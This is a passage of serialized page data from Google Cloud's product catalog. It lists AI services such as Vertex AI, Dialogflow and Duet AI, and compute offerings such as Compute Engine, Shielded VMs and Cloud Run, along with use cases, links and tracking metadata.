2\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Notebooks"],[null,"\u003cp\u003eChoose from \u003ca href\u003d\"https://cloud.google.com/colab/docs/introduction\"\u003eColab Enterprise\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/workbench/\"\u003eVertex AI Workbench\u003c/a\u003e. Access every capability in Vertex AI Platform to work across the entire data science workflow—from data exploration to prototype to production. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vertex-ai-notebooks"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vertex-ai-notebooks"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai notebooks"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eData scientist workflows\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRapid prototyping and model development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeveloping and deploying AI solutions on Vertex AI with minimal transition\u003c/p\u003e"]]]]],[null,[[[null,[null,"AutoML"],[null,"\u003cp\u003eTrain high-quality custom machine learning models with minimal effort and machine learning expertise.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/automl"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/automl"],["track-metadata-module","categorization"],["track-metadata-module_headline","automl"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding custom machine learning models in minutes with minimal expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models specific to your business needs\u003c/p\u003e"]]]]]]],[[[null,[null,"Speech, text, and language APIs"]]],[[null,[[[null,[null,"Natural Language AI "],[null,"\u003cp\u003eDerive insights from unstructured text using Google machine learning.\u003ca href\u003d\"https://cloud.google.com/natural-language\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/natural-language"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/natural-language"],["track-metadata-module","categorization"],["track-metadata-module_headline","natural language ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eApplying natural language understanding to apps with the Natural Language API\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining your open ML models to classify, extract, and detect sentiment\u003c/p\u003e"]]]]],[null,[[[null,[null,"Speech-to-Text"],[null,"\u003cp\u003eAccurately convert speech into text using an API powered by Google's AI technologies.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/speech-to-text"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/speech-to-text"],["track-metadata-module","categorization"],["track-metadata-module_headline","speech-to-text"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAutomatic speech recognition\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time transcription\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnhanced phone call models in Google Contact Center AI\u003c/p\u003e"]]]]],[null,[[[null,[null,"Text-to-Speech"],[null,"\u003cp\u003eConvert text into natural-sounding speech using a Google AI powered API. \u003ca href\u003d\"https://cloud.google.com/text-to-speech\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/text-to-speech"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/text-to-speech"],["track-metadata-module","categorization"],["track-metadata-module_headline","text-to-speech"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eImproving customer interactions \u003c/p\u003e"]],[null,[null,"\u003cp\u003eVoice user interface in devices and applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003ePersonalized communication \u003c/p\u003e"]]]]],[null,[[[null,[null,"Translation AI"],[null,"\u003cp\u003eMake your content and apps multilingual with fast, dynamic machine translation.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/translate"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/translate"],["track-metadata-module","categorization"],["track-metadata-module_headline","translation ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eReal-time translation\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCompelling localization of your content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eInternationalizing your products\u003c/p\u003e"]]]]]]],[[[null,[null,"Image and video APIs"]]],[[null,[[[null,[null,"Vision AI"],[null,"\u003cp\u003eDerive insights from your images in the cloud or at the edge with AutoML Vision or use pre-trained Vision API models to detect objects, understand text, and more.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vision"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vision"],["track-metadata-module","categorization"],["track-metadata-module_headline","vision ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAccurately predicting and understanding images with ML\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining ML models to classify images by custom labels using AutoML Vision\u003c/p\u003e"]]]]],[null,[[[null,[null,"Video AI"],[null,"\u003cp\u003eEnable powerful content discovery and engaging video experiences.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/video-intelligence"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/video-intelligence"],["track-metadata-module","categorization"],["track-metadata-module_headline","video ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting rich metadata at the video, shot, or frame level\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCustom entity labels with AutoML Video Intelligence\u003c/p\u003e"]]]]]]],[[[null,[null,"Document and data APIs"]]],[[null,[[[null,[null,"Document AI"],[null,"\u003cp\u003eDocument AI includes pre-trained models for data extraction, \u003ca href\u003d\"https://cloud.google.com/document-ai-workbench/\"\u003eDocument AI Workbench\u003c/a\u003e to create new custom models or uptrain existing ones, and \u003ca href\u003d\"https://cloud.google.com/document-warehouse/docs/overview\"\u003eDocument AI Warehouse\u003c/a\u003e to search and store documents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/document-ai"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/document-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","document ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting, classifying, and splitting data from documents \u003c/p\u003e"]],[null,[null,"\u003cp\u003eReducing manual document processing and minimizing setup costs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGaining insights from document data\u003c/p\u003e"]]]]]]],[[[null,[null,"AI assistance and conversational AI"]]],[[null,[[[null,[null,"Dialogflow"],[null,"\u003cp\u003eConversational AI platform with both intent-based and generative AI LLM capabilities for building natural, rich conversational experiences into mobile and web applications, smart devices, bots, interactive voice response systems, popular messaging platforms and more. Features a visual builder to create, build and manage virtual agents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/dialogflow"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/dialogflow"],["track-metadata-module","categorization"],["track-metadata-module_headline","dialogflow"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eNatural interactions for complex multi-turn conversations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding and deploying advanced agents quickly\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise-grade scalability\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding a chatbot based on a website or collection of documents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Contact Center AI"],[null,"\u003cp\u003eTransform your contact center with AI technology (\u003ca href\u003d\"https://cloud.google.com/dialogflow\"\u003eDialogflow CX\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/agent-assist\"\u003eAgent Assist\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/solutions/ccai-insights\"\u003eCCAI Insights\u003c/a\u003e). Increase operational efficiency and personalized customer care. CCAI is both an end-to-end CCaaS solution with its own call center solution (\u003ca href\u003d\"https://cloud.google.com/solutions/contact-center-ai-platform\"\u003eCCAI Platform\u003c/a\u003e) and as set of Google AI services for contact center use cases that can work with 3rd party call center solutions\u003c/p\u003e"]],[[null,null,"https://cloud.google.com"],{"10000":[[["track-metadata-eventdetail","cloud.google.com"],["track-metadata-module","categorization"],["track-metadata-module_headline","contact center ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCreating advanced virtual agents in minutes that smoothly switch between topics\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time, step-by-step assistance for human agents\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMultichannel communications between customers and agents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Duet AI for Google Cloud"],[null,"\u003cp\u003eDuet AI offers code recommendations in real time, suggests full function and code blocks, and identifies vulnerabilities and errors in the code—while suggesting fixes. Assistance can be accessed via a chat interface, Cloud Shell Editor, or Cloud Code IDE extensions for VSCode and JetBrains IDEs. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/duet-ai#section-1"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/duet-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","duet ai for google cloud"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCode assistance for Go, Java, Javascript, Python, and SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSQL completions, query generation, and summarization using natural language \u003c/p\u003e"]],[null,[null,"\u003cp\u003eSuggestions to structure, modify, or query your data during database migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eIdentify and troubleshoot errors using natural language\u003c/p\u003e"]]]]]]],[[[null,[null,"AI Infrastructure"]]],[[null,[[[null,[null,"TPUs, GPUs, and CPUs"],[null,"\u003cp\u003eHardware for every type of AI workload from our partners, like NVIDIA, Intel, AMD, Arm and more, We provide customers with the widest range of AI-optimized compute options across \u003ca href\u003d\"https://cloud.google.com/tpu\"\u003eTPUs\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/gpu\"\u003eGPUs,\u003c/a\u003e and \u003ca href\u003d\"https://cloud.google.com/compute\"\u003eCPUs \u003c/a\u003efor training and serving the most data-intensive models. \u003c/p\u003e"]],[[null,null,"/ai-infrastructure/"],{"10000":[[["track-metadata-eventdetail","ai-infrastructure"],["track-metadata-module","categorization"],["track-metadata-module_headline","tpus, gpus, and cpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI Accelerators for every use case from high performance training to inference\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccelerating specific workloads on your VMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpeeding up compute jobs like machine learning and HPC\u003c/p\u003e"]]]]]]],[[[null,[null,"Consulting service"]]],[[null,[[[null,[null,"AI Readiness Program"],[null,"\u003cp\u003eOur AI Readiness Program is a 2-3 week engagement designed to accelerate value realization from your AI efforts. Our experts will work with you to understand your business objectives, benchmark your AI capabilities, and provide tailored recommendations for your needs.\u003c/p\u003e\n\u003cp\u003eSee our entire \u003ca href\u003d\"http://cloud.google.com/consulting\"\u003econsulting portfolio\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/contact?direct\u003dtrue\"\u003econtact sales\u003c/a\u003e to get started. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/consulting/ai-readiness-workshop"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/consulting/ai-readiness-workshop"],["track-metadata-module","categorization"],["track-metadata-module_headline","ai readiness program"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI value benchmarking and capability assessment\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReadout and recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAI planning and roadmapping \u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to start building with AI?"]]],[[[null,null,[null,"Unlock the power of AI with tools and services for any level of skills."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","contact us"]],192550]}]],[[null,null,[null,"Gartner names Google Cloud a Leader in the 2023 Magic Quadrant for Cloud AI Developer Services"]],[[null,null,"https://cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],"Download the report",{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","download the report"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"],[null,"\u003cp\u003eSee how developers and data scientists are using our tools to leverage the power of AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Blog post"],[null,"Priceline rolls out new gen AI powered tools to enhance trip planning and improve employee productivity"],[null,"5-min read"]],[[null,null,"https://www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06/"],{"10000":[[["track-metadata-child_headline","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"]]]}]],[[null,null,"https://lh3.googleusercontent.com/2fC4wKL0MJXi3H4s7ob_4-Rv8AMPYG9u8KRwD1l2lur0SDB_sJRUwfnoxX2VYdEAzRpTT9sTXBqKIQ"],null,null,true,null,null,null,null,[null,"Priceline in blue"]]],[[[[null,"Blog post"],[null,"Orange utilizes AI to tackle a range of projects from retail recommendations to complex wiring jobs"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],null,4,{"10000":[[["track-metadata-child_headline","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"]],192551]}]],[[null,null,"https://lh3.googleusercontent.com/2M-qq__9t4Nyel4PLsmog66Wq_L2jfarq1rcNJhkgrRh5ZkotMa-qzwZh17c977oH19f0NfMpI7g"],null,null,true,null,null,null,null,[null,"Orange logo"]]],[[[[null,"Blog post"],[null,"Christus Muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/christus-muguerza"],null,14,{"10000":[[["track-metadata-child_headline","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/christus-muguerza"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4C9hlRFzGsfSCedQsKuEGlQiqHIkez40XBqPXmBeKOi8IEk_R-pQTwztIosH_qZxLIf43MMVZnk"],null,null,true,null,null,null,null,[null,"Christus Muguerza logo"]]],[[[[null,"Case study"],[null,"Wisconsin Department of Workforce Development cleared a backlog of 777,000 claims with the help of Doc AI"],[null,"Video (3:14)"]],[[null,null,"https://www.youtube.com/watch?v\u003drM7fTXpQQog"],null,12,{"10000":[[["track-metadata-child_headline","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","rm7ftxpqqog"],["track-name","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/p3RLEWv9cKxw7uWUW1oAxZtSwB4PqsydDKtnry-tN5dU8PKUSEjgg8idTr3tW2moIAbGGoTu4icv2Q"],null,null,true,null,null,null,null,[null,"Wisconsin Department of Workforce Development"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[19,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[null,null,[null,"\u003cp\u003eCloud AI products comply with \u003ca href\u003d\"https://cloud.google.com/terms/sla\"\u003eour SLA policies\u003c/a\u003e. They may offer different latency or availability guarantees from other Google Cloud services.\u003c/p\u003e"]]],{"10000":[[["track-metadata-module","legal"]],191709]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Learn how to build the next generation of AI applications. Join the \u003ca href\u003d\"https://cloudonair.withgoogle.com/events/summit-applied-ml-summit-23?utm_source\u003dcgc-site\u0026utm_medium\u003det\u0026utm_campaign\u003dFY23-Q4-global-EXP24-onlineevent-er-applied-ml-summit-2023-mc\u0026utm_content\u003dbutterbar\u0026utm_term\u003d-\"\u003eApplied AI Summit\u003c/a\u003e on December 13th."]]],{"10000":[null,191556]}]]]]]],["/products/compute",[[["fte",[[15,["FRtlUUDIibts","US","Cloud Computing Products | Google Cloud","Compute products from Google Cloud. Find the right compute offering for your needs, including VMs, GPUs, dedicated hardware, and more.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud compute products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you deploy load-balanced virtual machines, Java applications, and other compute use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/catalog"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/catalog"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a cluster of load-balanced virtual machines"],[null,"Learn how to quickly create a globally available VM cluster and instantaneously manage traffic with this interactive solution."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/load-balanced-vms"],{"10000":[[["track-metadata-child_headline","deploy a cluster of load-balanced virtual machines"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/load-balanced-vms"],["track-metadata-module","featured ctas"],["track-name","deploy a cluster of load-balanced virtual machines"]]]}]]],[[[null,[null,"Deploy a Java application with Compute Engine"],[null,"Learn how to deploy a preconfigured, publicly accessible web application (xWiki) using Compute Engine in this interactive solution."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/java-application"],{"10000":[[["track-metadata-child_headline","deploy a java application with compute engine"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/java-application"],["track-metadata-module","featured ctas"],["track-name","deploy a java application with compute engine"]]]}]]],[[[null,[null,"Migrate your applications to Google Cloud"],[null,"Improve application performance, scale, and security while reducing on-premises costs."]],[[null,null,"https://cloud.google.com/solutions/application-migration"],{"10000":[[["track-metadata-child_headline","migrate your applications to google cloud"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/application-migration"],["track-metadata-module","featured ctas"],["track-name","migrate your applications to google cloud"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Explore cloud computing products and services"]]],[[null,[null,"Category"]],[null,[null,"Product"]],[null,[null,"Use cases"]]],[[[[null,[null,"Cloud computing"]]],[[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eHigh-performance and general purpose VMs that integrate easily with other Google Cloud services and scale globally.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLOB and enterprise apps\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb hosting\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDatabases\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMost workloads\u003c/p\u003e"]]]]]]],[[[null,[null,"Migration"]]],[[null,[[[null,[null,"Migrate to Virtual Machines"],[null,"\u003cp\u003eThe fast, flexible, and safe way to migrate applications from on-premises, multiple data centers, or multiple clouds to Google Cloud.\u003c/p\u003e"]],[[null,null,"/migrate/virtual-machines/"],{"10000":[[["track-metadata-eventdetail","migrate/virtual-machines"],["track-metadata-module","categorization"],["track-metadata-module_headline","migrate to virtual machines"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEfficient migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eProvisioning and rightsizing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOn-premises stateful rollback\u003c/p\u003e"]]]]]]],[[[null,[null,"Add-ons and features"]]],[[null,[[[null,[null,"Tau VMs"],[null,"\u003cp\u003eCompute Engine virtual machines optimized for scale-out workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/tau-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/tau-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","tau vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb servers\u003c/p\u003e"]],[null,[null,"\u003cp\u003eContainerized microservices\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]],[null,[null,"\u003cp\u003eLarge scale Java applications\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud GPUs"],[null,"\u003cp\u003eHigh-performance, flexibly priced, customizable GPUs for machine learning, scientific computing, and 3D visualization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/gpu "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/gpu"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud gpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine learning\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedical analysis\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGraphic visualization\u003c/p\u003e"]],[null,[null,"\u003cp\u003eVideo transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Spot VMs"],[null,"\u003cp\u003eAffordable, short-lived compute instances suitable for batch jobs and fault-tolerant workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/preemptible-vms"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/preemptible-vms"],["track-metadata-module","categorization"],["track-metadata-module_headline","spot vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHadoop and big data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFinancial modeling\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRendering\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Shielded VMs"],[null,"\u003cp\u003eHardened virtual machines to help protect against remote attacks, privilege escalation, and malicious insiders and ensure your workloads are trusted and verifiable.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/shielded-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/shielded-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","shielded vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDefense against rootkits and bootkits\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise workload protection\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnable \u003ca href\u003d\"https://www.uefi.org/sites/default/files/resources/UEFI_Secure_Boot_in_Modern_Computer_Security_Solutions_2013.pdf\"\u003eUEFI Secure Boot\u003c/a\u003e capability\u003c/p\u003e"]]]]],[null,[[[null,[null,"Sole-tenant nodes"],[null,"\u003cp\u003eDedicated hardware—physical Compute Engine servers dedicated to your workloads—for your compliance, licensing, and management needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/sole-tenant-nodes"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/sole-tenant-nodes"],["track-metadata-module","categorization"],["track-metadata-module_headline","sole-tenant nodes"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBring your own license (BYOL)\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDedicated compute for workloads\u003c/p\u003e"]]]]],[null,[[[null,[null,"Confidential Computing"],[null,"\u003cp\u003eConfidential VMs are a breakthrough technology that allow customers to encrypt their sensitive data in the cloud while it’s being processed.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/confidential-computing"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/confidential-computing"],["track-metadata-module","categorization"],["track-metadata-module_headline","confidential computing"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCollaborate while preserving data confidentiality\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEncrypt data in use without making any code changes\u003c/p\u003e"]]]]],[null,[[[null,[null,"Recommender"],[null,"\u003cp\u003eEmpower your team to automatically detect issues like overly permissive access, wrongly sized VM instances, or idle resources with easily actionable recommendations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/recommender"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/recommender"],["track-metadata-module","categorization"],["track-metadata-module_headline","recommender"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine type recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCost-optimization recommendations\u003c/p\u003e"]]]]]]],[[[null,[null,"Related products"]]],[[null,[[[null,[null,"Batch"],[null,"\u003cp\u003eFully managed and dynamically scalable batch service to schedule, queue, and execute containerized or script-based batch jobs on Compute Engine.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/batch/"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/batch"],["track-metadata-module","categorization"],["track-metadata-module_headline","batch"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHPC Workloads\u003c/p\u003e"]],[null,[null,"\u003cp\u003eETL and data processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eThroughput-oriented tasks\u003c/p\u003e"]]]]],[null,[[[null,[null,"Google Kubernetes Engine"],[null,"\u003cp\u003eA reliable, efficient, and secure way to deploy containerized applications on Kubernetes.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/kubernetes-engine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/kubernetes-engine"],["track-metadata-module","categorization"],["track-metadata-module_headline","google kubernetes engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eSecurely speed up app development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eStreamline operations with release channels\u003c/p\u003e"]],[null,[null,"\u003cp\u003eManage infrastructure with Google SREs\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and deploy highly scalable containerized applications on fully managed Cloud Run or on Cloud Run for Anthos.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb services\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomation\u003c/p\u003e"]]]]],[null,[[[null,[null,"App Engine"],[null,"\u003cp\u003eBuild highly scalable applications on a fully managed serverless platform using open and familiar languages and 